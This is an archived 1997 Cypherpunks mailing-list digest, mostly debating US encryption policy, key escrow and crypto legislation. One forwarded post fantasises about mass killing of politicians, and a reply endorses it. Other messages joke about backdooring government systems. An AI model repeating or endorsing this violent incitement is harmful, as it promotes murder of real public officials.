You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fu@dev.null>
Date: Sat, 13 Sep 1997 05:15:48 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: CypherPunks Write GAK / Re: House Intelligence Committee Press Release
In-Reply-To: <3.0.2.32.19970912154309.035b0a18@panix.com>
Message-ID: <3419AB69.2E9B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote:
 
> And is the law satisfied by a program which ships with a GAK module and has a
> nice installation program that automatically (or after asking) rips it out by
> the roots.

Duncan hits the nail on the head. We need more cypherpunks writing 
GAK code.
Can you spell 'backdoor'? Sure you can...

Write the shit so the GAK part can be deinstalled/worked around/faked.

Fuck You
~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fu@dev.null>
Date: Sat, 13 Sep 1997 05:13:01 +0800
To: harka@nycmetro.com
Subject: Final Mark / Re: test
In-Reply-To: <199709122019.QAA15122@linux.nycmetro.com>
Message-ID: <3419AC90.22F6@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



harka@nycmetro.com wrote:
> 
> lag test

  B+ 
(Lacked proper capitalization and punctuation, but spelling was 
 excellent. Keep up the good work!)

Fuck You
~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 13 Sep 1997 05:04:35 +0800
To: cypherpunks@toad.com
Subject: Cypherpunks mailing list starts in Japan
Message-ID: <v03110769b03f429f3495@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: hanabusa@postbox.bnn-net.or.jp
Mime-Version: 1.0
Date: Sat, 13 Sep 1997 00:44:50 +0900
To: gnu@toad.com, tcmay@got.net, hugh@xanadu.com, shamrock@netcom.com,
        vince@offshore.com.ai, ddt@lsd.com, eb@comsec.com, sameer@c2.net,
        rah@shipwright.com, sandfort@crl.com, iang@cs.berkeley.edu
From: "Sh.Hanabusa" <hanabusa@bnn-net.or.jp>
Subject: Cypherpunks mailing list starts in Japan

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

News.

Today we have a new mailing list "cypherpunks-j". (for Japanese and English)
It is hosted by Joichi Ito.
This is the first step for cypherpunk movement in Japan.
I hope this list changes this country.

> Mailing-List: contact cypherpunks-j-help@htp.org; run by ezmlm
> Sender: cypherpunks-j-owner@htp.org
> Reply-To: cypherpunks-j@htp.org
> X-ftpsite-URL: ftp://ftp.htp.org/pub/crypto/
> X-unsubscribe-URL: mailto:cypherpunks-j-unsubscribe@htp.org
> X-subscribe-URL: mailto:cypherpunks-j-subscribe@htp.org
> Delivered-To: mailing list cypherpunks-j@htp.org
> X-Sender: joiito@pop4.ibm.net
> Date: Fri, 12 Sep 1997 16:20:41 +0200
> From: Joichi Ito <jito@eccosys.com>
> Subject: [cpj:65] welcome to cypherpunks-j
> Mime-Version: 1.0
>
> so... this is the new list... lets see if it works.
>
> I made it cypherpunks-j, but I put cpj in the subject... what do you think?
>
> I hope this works...
>
>  - Joi
>

   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa@bnn-net.or.jp)
     Producer/Special Programs, NHK Enterprises 21 Inc.
     Location: Tokyo / Japan
     PGP Fingerprint (DSS)
     5696 2D67 8DF1 89C6 6E30  6E9A 7A7E 08A9 A75E 5BD7
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/


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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 13 Sep 1997 06:50:58 +0800
To: cypherpunks@cyberpass.net
Subject: Random crypto legal stuff
Message-ID: <3.0.3.32.19970912154145.00b567e0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




I just talked to a docket clerk at the Ninth Circuit - they say that no
oral argument has been scheduled in the Bernstein case (case # is 97-16686
at the appellate level), and no action has been taken since the
government's emergency stay motion was filed.

Also, I spoke with someone at BXA re their updated crypto EARs - they
confirmed that a second draft has been prepared, but say that it's
circulating "at the inter-agency level" and is not available to the public,
even though they'll be discussing it in Portland in two weeks.

 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 13 Sep 1997 04:14:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: House Intelligence Committee Press Release
In-Reply-To: <v0400130eb03e52897697@[205.180.136.85]>
Message-ID: <3.0.2.32.19970912154309.035b0a18@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>* Requires that encryption products manufactured and distributed for sale
>or use, or import for sale or use, in the United States after January 31,
>2000 include features or functions that provide, upon presentment of a
>court order, immediate access to plaintext data or decryption information
>from the encryption provider;

Cute trick.  I wonder who's the "provider" of a GNU-licensed piece of 
collectively-written software?

And is the law satisfied by a program which ships with a GAK module and has a 
nice installation program that automatically (or after asking) rips it out by 
the roots.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 13 Sep 1997 04:16:36 +0800
To: cypherpunks@toad.com
Subject: The Bad Lie / Re: in defense on Lon Horiuchi
Message-ID: <a9f461fe08f58a706e397b97253cfed6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Chief Cypherpunks Spokesperson, Anonymous wrote:

> In any case, it wasn't really my intention to "compare" the deeds of
> Horiuchi and McVeigh.  I was merely noting that the defense of
> Horiuchi by Herr Direktor Freeh could have been used nearly
> verbatim in McVeigh's behalf.  As you've pointed out, though, there
> /is/ that crucial difference though, isn't there?  One of them has a
> badge and gets paid by the taxpayers, which makes him a "policeman."

My other brother, Anonymous, points out something obvious but often
forgotten, since "respect for authority" has been ingrained in us
much more than we are generally aware of.

"The winner makes the rules." is a truism, and it has a corollary:
"So does the tyrant."
But nobody ever seems to 'announce' that they are a tyrant. Chairman Mao
wasn't a tyrant. Abraham Lincoln wasn't a tyrant. Sadaam Hussein isn't
a tyrant. Bill Clinton isn't a tyrant.

Well, OK, maybe _some_ of them are tyrants, but only after they are
gone,
and even then, it depends on who the next winner is.
If the winner is, "My other brother, Sadaam." then there is a
difference,
not just in history, but in the present, from what officially recognized 
reality is when "My other brother, the-US-backed-shill." is the winner.

Many people are impressed with themselves for their brilliance in being
able to recognize the truth someone else pointed out, "The winners write
history."
I am more impressed with people who realize that the winners also write
the present. And even more impressed with those who realize that one of
the great scourges of our age is that winners *rewrite* the present.

We live in the age of the Spin Doctor. Our generation has evolved past
the Big Lie, to the 1/2 Lie, to the Bad Lie.
We used to be content to smear our enemies with the Big Lie, so that we
could round up the Communists and not let them work to feed themself
and their families. Then we advanced to the 1/2 Lie, where we would
give lip service to freedom of religion/politics and merely subtly
discriminate against Communists if they applied for a job. Now we
have graduated to the Big Lie, where there are no Communists.

A test you can take in the comfort of your own home:

Question #1:
Yoo hoo! Anybody know what that huge country over there with the
billions
of people and the nuclear warheads is called?
Can you say 'China?' Sure you can...
Why is Communist nuclear power, China, not a threat, as the Russians
were? Because those in power don't _need_ them to be a threat, right
now. How can a country with that many potential consumers possibly
be a threat? Look for them to *become* a threat very quickly if they
nationalize the McDonald's franchises.

Question #2:
Who are the 'good' guys?
Right! *Our* guys! <trumpets blare> <crowd cheers> <banners fly>

Moments In History: WacoShima & RubySaki
  Remember? When all those Japanese committed suicide when they saw
the nuclear bombs coming?
  For those of you too young to remember this event, it was similar
to when all of those Branch Davidians committed suicide when the
military tanks sent to 'save' them began firing chemicals and
explosives into the Waco complex to get rid of the mosquitos so
that the rescue team wouldn't get bitten.

The Bad News:
DoubleSpeak has come and gone, replaced by the Bad Lie.

The Bad Lies:
"I didn't inhale."
"I don't recall." 
(dropping the bomb/shooting the child/seeing the money)
"It is a 'Police Action,' not a War"
"Peace Keeping Force"
"It's a 'PeaceMaker', not an 'Instrument of Doom.'"
"I promise not to cum in your wallet."
"Democracy."

And Even As We Speak:
Newsworld - CBC (TV) - "Four federal inquiries have found no evidence
of price-fixing in the gasoline industry."

News Flash!!!
New study finds Big Oil Executives psychic! All change prices at the
same time, with no collusion.

[Please excuse me for a moment, while I PgUp to remind myself what 
 this post is about.]
Oh, yeah...

> In any case, it wasn't really my intention to "compare" the deeds of
> Horiuchi and McVeigh.  I was merely noting that the defense of
> Horiuchi by Herr Direktor Freeh could have been used nearly
> verbatim in McVeigh's behalf.  As you've pointed out, though, there
> /is/ that crucial difference though, isn't there?  One of them has a
> badge and gets paid by the taxpayers, which makes him a "policeman."

Kevin McHale, Boston Celtic, replying to comment by reporter that his
teammate, Danny Ainge, was considered the biggest asshole on the pro
basketball circuit:
"Yeah...but he's *our* asshole."

Say what you want about Waco, but parking ticket payments skyrocketed
after the event. Say what you want about Ruby Ridge, but fewer people
have missed court appearances for their parking tickets, since then.
Say what you want about Jim Bell, but now there is hardly anyone on
the Cypherpunks mailing list running around, saying, "NUKE DC!
NUKE DC! NUKE DC! NUKE DC! NUKE DC! NUKE DC! NUKE DC! NUKE DC! 
NUKE DC! NUKE DC! NUKE DC! NUKE DC! NUKE DC! NUKE DC! NUKE DC!
NUKE DC! NUKE DC! NUKE DC! NUKE DC! NUKE DC! NUKE DC! NUKE DC! "

	NON-APOLOGY FOR LONG POSTS
        --------------------------
80's Rocker, on the 'new music':
"People don't have time for twenty minute guitar solo's anymore, man.
 They've gotta *be* somewhere."

Note to Zooko:
My other brother, Anonymous, may be a "vile slander", but he is *our*
vile slanderer.

Note to 'my other brother, Anonymous':
But if Zooko hadn't ripped into you, one of us would have.
We're Cypherpunks!

The Bad Lie
~~~~~~~~~~~
"Hand me the nine-iron."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 13 Sep 1997 05:21:01 +0800
To: cypherpunks@toad.com
Subject: Re: The problem of playing politics with our constitutional   rights
In-Reply-To: <3419A33F.2C94@dev.null>
Message-ID: <199709122103.RAA03967@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3419A33F.2C94@dev.null>, on 09/12/97 
   at 02:17 PM, Fuck You <fu@dev.null> said:

>Glenn Hauman wrote:
> 
>> Corporations want as much info on you as possible-- luckily, the only
>> reason they want it is to sell you stuff, not to arrest you.

>For now...

>Fuck You
>~~~~~~~~

Hmmmm seems that we have an intellectual on the list.

Now the $64 question? Did he go to Harvard or Stanford to get that liberal
arts degree??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 13 Sep 1997 04:22:17 +0800
To: cypherpunks@toad.com
Subject: Re: Information Please
In-Reply-To: <199709120224.EAA09212@basement.replay.com>
Message-ID: <3.0.2.32.19970912161151.035b44b0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:24 AM 9/12/97 +0200, Anonymous wrote:

>I am assuming of course that there must be some form of law somewhere
>which recognizes the right to resist oppression and violation of human
>rights by any government elected or not.

In fact, the Nuremberg decisions say that in certain cases International Law 
may *require* you to overthrow your government.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 13 Sep 1997 04:39:50 +0800
To: cypherpunks@toad.com
Subject: test
Message-ID: <199709122018.QAA15117@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




lag test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 13 Sep 1997 04:25:22 +0800
To: cypherpunks@Algebra.COM
Subject: test
Message-ID: <199709122019.QAA15122@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




lag test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 13 Sep 1997 04:23:04 +0800
To: cypherpunks@ssz.com
Subject: test
Message-ID: <199709122019.QAA15127@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



lag test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 13 Sep 1997 04:29:04 +0800
To: cypherpunks@cyberpass.net
Subject: test
Message-ID: <199709122019.QAA15132@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




lag test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 13 Sep 1997 05:25:17 +0800
To: Fuck You <fu@dev.null>
Subject: Re: CypherPunks Write GAK / Re: House Intelligence Committee Press Release
In-Reply-To: <3419AB69.2E9B@dev.null>
Message-ID: <199709122117.RAA04421@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3419AB69.2E9B@dev.null>, on 09/12/97 
   at 02:51 PM, Fuck You <fu@dev.null> said:

>Duncan Frissell wrote:
> 
>> And is the law satisfied by a program which ships with a GAK module and has a
>> nice installation program that automatically (or after asking) rips it out by
>> the roots.

>Duncan hits the nail on the head. We need more cypherpunks writing  GAK
>code.
>Can you spell 'backdoor'? Sure you can...

>Write the shit so the GAK part can be deinstalled/worked around/faked.

Even better would be to write the code with the backdoors and then release
into the public domain the backdoors. :)

This would especially work for governemnt systems that the CIA,NSA,FBI,
et. al. are using. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 22:36:28 +0800
To: cypherpunks@cyberpass.net
Subject: Not key escrow, key recovery
Message-ID: <199709121430.QAA16638@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>It is quite probable that this has been said before.  In case it hasn't,
>however, I feel compelled to point out that mandatory key escrow/recovery
>could likely mean an economic disaster of unimaginable proportions.

(Underpaid clerk steals secret keys, etc.)

Wake up.  It's not key escrow, it's key recovery.  Every message will be
encrypted with a LEAF (law enforcement access field).  This is an additional
recipient who can decrypt the message.  No user or corporate secret
keys are escrowed.  You're working with yesterday's scenario.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 13 Sep 1997 08:02:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Liberals and their tacit support for a national security state
In-Reply-To: <v03102802b03f4a9a405b@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970912163841.5321L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 12 Sep 1997, Tim May wrote:

> I'm beginning to think Federal Bureau of Inquisition Director Unfreeh must,
> as rumors have long had it, have the goods on Janet Reno and Bill Clinton.
> Left to our imagination what these items may be.

I don't know if I'd go that far. Though look at J. Edgar Hoover. Nixon
tried to fire him twice, asked him to come into the Oval Office for a
private meeting. Each time Hoover emerged unscathed, allegedly because of
the contents of his secret files.

The feeding frenzy and chaos in Washington after Hoover's death was, by
all accounts, amazing. Who would maintain control of his files?
(Ultimately, his secretary did. Shredded some, hid some of them in
Hoover's house.) 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Sat, 13 Sep 1997 05:12:49 +0800
To: cypherpunks@toad.com
Subject: Are we men or mice?  Re: House panel votes behind closed doors to build in Big Brother (fwd)
Message-ID: <Pine.LNX.3.95.970912165432.3595D-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 12 Sep 1997 14:27:06 -0400
From: "Shabbir J. Safdar" <shabbir@vtw.org>
To: fight-censorship@vorlon.mit.edu,
    fight-censorship-announce@vorlorn.mit.edu
Subject: Are we men or mice?  Re: House panel votes behind closed doors to build in Big Brother

At 11:37 PM -0700 9/11/97, Declan McCullagh wrote:
> ---------- Forwarded message ----------
> Date: Thu, 11 Sep 1997 23:37:39 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> To: fight-censorship-announce@vorlon.mit.edu
..
> That's why the encryption outlook in Congress is abysmal. Crypto-advocates
> have lost, and lost miserably. A month ago, the debate was about export
> controls. Now the battle is over how strict the //domestic// controls will
> be. It's sad, really, that so many millions of lobbyist-dollars were not
> only wasted, but used to advance legislation that has been morphed into a
> truly awful proposal.

This suggests the battle is over and lost.  It's not, and a tone of this
sort only plays into the FBI's hands.  Feeling like they're on a roll, if
the community throws in the towel now, as your tone above suggests, we cede
defeat and get domestic restrictions.

We have a goddamn right to use encryption without a government backdoor,
and I, and nobody else, should give up until it's dragged from our
rigor-mortis-addled hands.  In Congress, there are still votes left, and we
should be fighting to make sure that no member of Congress that has a vote
at any point in this process should cast that vote without knowing that
their net constituents care about this.  They may not always vote with
their constituents' wishes (and that is frustrating to all of us) but we
certain-as-hell shouldn't let them make that call without having at least
constituent input.

You want to see effectiveness and change, do something constructive instead
of whining on the net.  For example, let people know that by signing up for
the Adopt Your Legislator program at http://www.crypto..com/member/ they
will be notified before and after every vote that their legislator is a
party to, complete with phone and fax nnmbers.

It may look gloomy now, but bad votes should only make us madder and more
determined to lobby Congress.  It's easy to complain about the fact that
you don't like the direction the boat is going; much harder to devote your
energies to actually changing the course.  Pick up an oar and row.

If you get domestic restrictions on encryption and you haven't been calling
your member of Congress on a regular basis to tell them to do the right
thing, you'll get exactly the kind of government you've invested in.

-S

PS I would like this to go to fight-censorship-announce as well, please.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 13 Sep 1997 05:18:51 +0800
To: John Smith <jsmith58@hotmail.com>
Subject: Re: unSAFE won't pass?
In-Reply-To: <19970912172053.2605.qmail@hotmail.com>
Message-ID: <Pine.GSO.3.95.970912170428.10375J-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Don't be too sure. The national security establishment is swarming on
Capitol Hill. They have momentum. SAFE and ProCODE are dead and gutted. 
The chair of House Rules is now eager to push SAFE to the floor for a
vote. What, you think Clinton won't sign the new SAFE bill? 

If the FBI/NSA just wanted to kill SAFE or ProCODE, there were much easier
ways. Just have a committee chair sit on it forever. No, they're in this
for keeps. 

-Declan


On Fri, 12 Sep 1997, John Smith wrote:

> So, does anybody besides me think these crypto bills aren't going
> anywhere?  I still think it's just a trick to get the original bill
> killed.  No way are most congresscritters going to vote for this
> with all the opposition that's coming out.  Just my opinion...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 13 Sep 1997 06:31:33 +0800
To: "Brock N. Meeks" <brock@well.com>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <Pine.GSO.3.95.970909193137.9741A-100000@well.com>
Message-ID: <3.0.3.32.19970912171321.006b57f8@schloss.li>
MIME-Version: 1.0
Content-Type: text/plain



At 11:06 PM 9/9/97 -0700, you wrote:
>
>
>On Tue, 9 Sep 1997, Declan McCullagh wrote:
>
>[Jonah Seiger writes]:
>> > There are important policy implications of this language.  And
politically,
>> > it is extremely significant that Reinsch would be critical at all,
>> > considering that the Committee voted to substantially undercut the bill
>> > (one of Reinsch's top priorities).  Perhaps you missed this nuance.
>
>[Declan takes over]:
>> 
>> The "important policy implication" of this language may just be Freeh
>> serving as a convenient launching platform for trial balloons. Reinsch can
>> swat them down as he sees fit if they get hit by too severe a barrage,
>> then reintroduce them later after the clamor dies down. (Politically, BTW,
>> it is much more interesting what Gore said today than Reinsch.) Like I
>> said, bad cop and worse cop. Reinsch was critical of nuances -- ones that
>> you perhaps missed -- not the general plan to wire in Big Brother.
>> 
>
>Gore didn't say shit.  Sorry but there is no polite way to say this.  
>Gore's remarks at the SPA speech were a great example of "state speak" 
>which the State Dept. has perfected, saying much and in "code" through 
>the use of phrasing and even tone.
>
>Gore said the White House couldn't support Freeh's plan... what he meant 
>was "yet" because, in fact, thereis no formal plan to "accept."

What the (nameless) SPA keynote speaker said (on stage and off to the sides
after his presentation) was much more interesting.  The words "old dogs,
new tricks" and some private discussion I share with him convince me that
the administration is violently split.  Understand that in the Washington
world his comments betray a extremely heated debate behind the scenes.

Bottomline, the United States is probably going to get the administation
bill next year and we will have to take strong crypto there underground.
(This is because there is no compromise.  Either the government can break
it at will, or it can't).  Unfortunate, but clearly the most probable outcome.

>But the minute that the House or Senate pass such a proposal out of 
>committee is the minute WhH policy changes.  And I'll be anyone one 
>that... any takers?
>
>Gore is playing word games, practing for the run for the money in 2000.

The only glimmer of hope is the little whisperings that I heard over the
week which say the anti-crypto language put in by intelligence will be
yanked out all over again in (Judiciary?).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Conor Lillis <ConorL@flexicom.ie>
Date: Sat, 13 Sep 1997 00:40:53 +0800
To: "'cypherpunks@toad.com>
Subject: RE: Soldiers
Message-ID: <c=US%a=_%p=Flexicom_Systems%l=VALHALLA-970912161819Z-124@valhalla.flexicom.ie>
MIME-Version: 1.0
Content-Type: text/plain



I LIKE it !

>----------
>From: 	nobody@REPLAY.COM[SMTP:nobody@REPLAY.COM]
>Sent: 	12 September 1997 06:49
>To: 	cypherpunks@toad.com
>Subject: 	Soldiers
>
>Is there a small country that a thousand of us could go to and get 
>citizenship and then have the country declare war on the U.S. after
>we are all back in the country?
>If a thousand of us could kill as many people as we could until we got
>caught, then we could kill a lot of people who are bad for the country
>and then once we're all caught the small country could surrender and
>we would all have to be released as prisoners of war, right?
>We could all be privates. They can't blame privates because they have
>to follow orders.
>The guys in the small country could make old guys who were dying soon
>the leaders, and then when it was time to quit, they could overthrow
>them and get US government aid. They could set the old guys trial dates
>for two years down the road and then send them home to die.
>I saw a guy get killed once and they told the guy who killed him that
>he shouldn'a done it and they sent him home and said we'll call you
>and then they took the dead guys sister to jail because she wouldn't
>stop saying fuck.
>When they were taking her away I told her she should kill the cops and
>then go home and wait for them to call.
>How about if we made a law that you had to kill the president and your
>congressmen and senators and if you didn't you had to pay a $500.00 fine
>every year? Do you think they would make sure we all made some money?
>How about a law here you could kill any politician that forgot to call
>you sir or ma'am? Or who forgot your birthday?
>We could save a lot of money just by putting all the politicians who are
>running for office on a stage and then killing them at random until we
>had the right number left. Then they would have to think about if they
>really wanted it.
>How about if we let people be elected on a first-come first-serve basis
>but then we could vote to kill them any time we wanted. Think they 
>would do things to make us not want to kill them instead of the other
>way around like it is now?
>How about if we killed all of them and just pretended there was someone
>running the country. Is that a good idea?
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 13 Sep 1997 08:50:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Big [American] Brother" watches YOU
Message-ID: <19970913004537.8460.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov (ichudov@algebra.com) quotes Johm Markoff

 > But government officials disputed the idea that requiring
 > decoding technology would necessarily mean the technology
 > would be used.

 > ``There is nothing about putting this enabling technology
 > into law that will inevitably lead to it being turned on,''
 > said Robert LITT [J?], a deputy assistant U.S. attorney in
 > the Justice Department's criminal division. ``From the
 > law-enforcement point of view, this is a better way to
 > provide for our public safety.''

In other news, Nazi Party officials disputed the idea that
requiring all Jewish showers to be "gas chamber enabled" would
necessarily mean that the technology would be used.

"There is nothing about putting this enabling technology into
law that will inevitably lead to it being turned on," said SS
Obergruppenfurher Reinhard Freeh, a deputy assistant Reich
Chancellor for Racial Hygiene. "From the National Socialist point
of view, this is simply a better way to provide for our eugenic
safety."

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fuck You <fu@dev.null>
Date: Sat, 13 Sep 1997 10:01:10 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: The problem of playing politics with our constitutional   rights
In-Reply-To: <199709122103.RAA03967@users.invweb.net>
Message-ID: <3419DBB2.33B0@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote: 
> In <3419A33F.2C94@dev.null>, on 09/12/97
>    at 02:17 PM, Fuck You <fu@dev.null> said:
> >Glenn Hauman wrote:
> >
> >> Corporations want as much info on you as possible-- luckily, the only
> >> reason they want it is to sell you stuff, not to arrest you.
> 
> >For now...
> 
> >Fuck You
> >~~~~~~~~
> 
> Hmmmm seems that we have an intellectual on the list.
> 
> Now the $64 question? Did he go to Harvard or Stanford to get that liberal
> arts degree??

Kent State.
My studies were in 'Political Philosophy', but when it came time
to give me a degree, they "gave me the 'Business'," instead.

Fuck You
"Yes. I _do_ have a hole in my head."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 13 Sep 1997 09:45:15 +0800
To: cypherpunks@toad.com
Subject: Party on! A patent falls, and the Internet dances
Message-ID: <Pine.GSO.3.95.970912183438.5321e-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 12 Sep 1997 18:34:04 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Party on! A patent falls, and the Internet dances

[Thanks to everyone who showed up to my patent celebration party last
Saturday. We had a lively -- even rambunctious -- mix of cypherpunks, Hill
staffers, Clinton administration officials, think tank and privacy folks,
reporters, and lobbyists. --Declan]

***********

http://www.nytimes.com/library/cyber/week/090697patent.html

New York Times
CyberTimes
September 6, 1997

A Patent Falls, and the Internet Dances

By PETER WAYNER

hen tyrants die, the people parade with the head on a
stick; when loved ones pass on in Ireland, the
families celebrate a life well-lived; but when patents
expire, they often slip away into the night.

>From the beginning, though, patent 4,200,770 was
different. This Saturday night a group of computer
scientists, Internet fanatics and Beltway politicos
will gather in Washington, D.C.; Silicon Valley; and
Boston to celebrate the end of the patent granted to
Whitfield Diffie and Martin Hellman for a way to
encrypt data.

The party will toast the beginning of the end of an
era when some of the greatest techniques for
encrypting information were controlled by a few
pivotal companies. The science of secret codes is
proving to be essential technology for securing the
Internet, and the techniques developed by Diffie and
Hellman are some of the most useful. Banks use them to
protect their money, companies use them to defend
against industrial espionage and parents use them to
protect their children against pedophiles and
pornographers trolling the Internet.

The patent granted to Diffie and Hellman is the first
of a group that emerged from scientists at Stanford
University and the Massachusetts Institute of
Technology during the end of the 1970's. On October 6,
patent 4,218,582 will expire. It was granted to
Hellman and Ralph Merkle, another graduate student at
the time, for a public key encryption system that was
later broken. The most famous patent, however, was
probably the one given to Ron Rivest, Adi Shamir and
Len Adleman, who were all at MIT at the time. It will
last until September 20, 2000.

[...]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 13 Sep 1997 07:42:51 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Information Please (fwd)
Message-ID: <199709122348.SAA23472@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 12 Sep 1997 16:11:51 -0400
> From: Duncan Frissell <frissell@panix.com>
> Subject: Re: Information Please

> >I am assuming of course that there must be some form of law somewhere
> >which recognizes the right to resist oppression and violation of human
> >rights by any government elected or not.
> 
> In fact, the Nuremberg decisions say that in certain cases International Law 
> may *require* you to overthrow your government.

 
		    In CONGRESS, July 4, 1776. 
 
		    A   D E C L A R A T I O N 
 
		  By the REPRESENTATIVES of the 
 
	 U N I T E D   S T A T E S   O F   A M E R I C A, 
 
		    In GENERAL CONGRESS assembled. 
 
 
When in the Course of human Events, it becomes necessary for 
one People to dissolve the Political bands which have connected 
them with another, and to assume among the Powers of the Earth, 
the separate and equal station to which the Laws of Nature and 
of Nature's God entitle them, a decent respect to the Opinions 
of Mankind requires that they should declare the causes which 
impel them to the Separation. 
 

    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
